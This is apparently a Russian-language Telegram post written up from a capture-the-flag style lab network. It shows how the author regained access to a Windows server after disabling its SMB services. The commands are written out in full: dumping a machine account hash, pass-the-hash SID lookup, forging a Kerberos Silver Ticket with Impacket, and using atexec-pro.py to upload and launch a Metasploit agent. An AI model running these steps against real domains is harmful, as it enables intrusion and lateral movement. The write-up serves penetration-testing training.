tgoop.com/poxek/4866
Create:
Last Update:
Last Update:
В ходе решения одной из сетей на известной платформе может сложиться ситуация, с которой столкнулся я.
Имея привилегированный доступ к серверу, который впоследствии будет использоваться для Remote NTLM Relay, я без задней мысли отключил службы NetLogon
, LanManServer
и LanManWorkstation
и перезагрузил машину, забыв закрепиться на ней встроенными средствами фрэймворка постэксплуатации.
Сделал я это следующим образом:
sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
После перезагрузки хоста я удостоверился, что порт 445 не прослушивается сервером (
nmap -p 445 -sT -Pn <serverIP>
), после чего решил продолжить атаку, но столкнулся с очевидной проблемой: я не могу пройти аутентификацию на сервере и, следовательно, запустить бинарный файл, необходимый для организации портфорвардинга.Имеем 2 проблемы:
1) Не работают службы
NetLogon
, LanManServer
и LanManWorkstation
, из-за чего не получится пройти аутентификацию на целевом сервере при помощи NTLM;2) Не работает SMB-порт, необходимый для работы большинства утилит из набора Impacket.
Что же делать?
Решение довольно очевидное. Вместо NTLM можно использовать Kerberos, так как мы находимся в доменной инфраструктуре. Не зря же после получения системного доступа к атакуемому серверу мы дампили его LSA-секреты?
А вместо стандартных скриптов из набора Impacket можно использовать их "pro вариации", которые не требуют доступа к 445 порту целевого сервера.
Начнем атаку!
Шаг 1. Silver Ticket🎫
Первый шаг показан в демонстративных целях, чтобы видеть хэш пароля учетной записи атакуемого сервера. Напомню, что его мы получили ранее путем дампа LSA-секретов на самом сервере.
proxychains impacket-secretsdump holo.live/[email protected] -hashes :<redacted> -just-dc-user 'PC-FILESRV01$'
...
PC-FILESRV01$:1120:aad3b435b51404eeaad3b435b51404ee:e66f5cf1a026516d1d2220130d8d13c4
Для осуществления атаки нам необходим SID домена, который мы получим с использованием скрипта
impacket-lookupsid
из набора Impacket (в данном случае используем технику Pass-the-Hash в отношении контроллера домена):proxychains impacket-lookupsid HOLO.LIVE/'PC-FILESRV01$'@10.201.126.30 -hashes :e66f5cf1a026516d1d2220130d8d13c4
Получаем SID домена: S-1-5-21-471847105-3603022926-1728018720
После получения SID начинаем крафтить Silver Ticket, чтобы получить привилегированный доступ к целевому серверу. Путь до полученного тикета записываем в переменную окружения
KRB5CCNAME
:proxychains impacket-ticketer -nthash e66f5cf1a026516d1d2220130d8d13c4 -domain-sid S-1-5-21-471847105-3603022926-1728018720 -dc-ip 10.201.126.30 -domain holo.live -spn HOST/PC-FILESRV01.holo.live 'watamet'
export KRB5CCNAME=watamet.ccache
Шаг 2. ATExec Pro
После этого уже при помощи известного нам
atexec-pro.py
и полученного билета получаем доступ к целевому серверу и запускаем наш C2-агент (для примера здесь используется MSF): proxychains python3 atexec-pro.py PC-FILESRV01.holo.live -k -no-pass -dc-ip 10.201.126.30
Внутри шелла:
ATShell (@PC-FILESRV01.holo.live)> upload /root/THM/Holo/binaries/msf_win_x64.exe C:\Windows\Tasks\msf.exe
ATShell (@PC-FILESRV01.holo.live)> C:\Windows\Tasks\msf.exe
Поэтапно те же действия можно видеть на приложенных скриншотах.
1) Получение SID домена при помощи
impacket-lookupsid
;2) Создание Silvet Ticket при помощи
impacket-ticketer
для привилегированного доступа к целевому хосту;3) Получение доступа к целевому хосту при помощи
atexec-pro.py
с использованием ранее полученного билета (обращаю внимание на лог ProxyChains, где отсутствует коннект до 445 порта).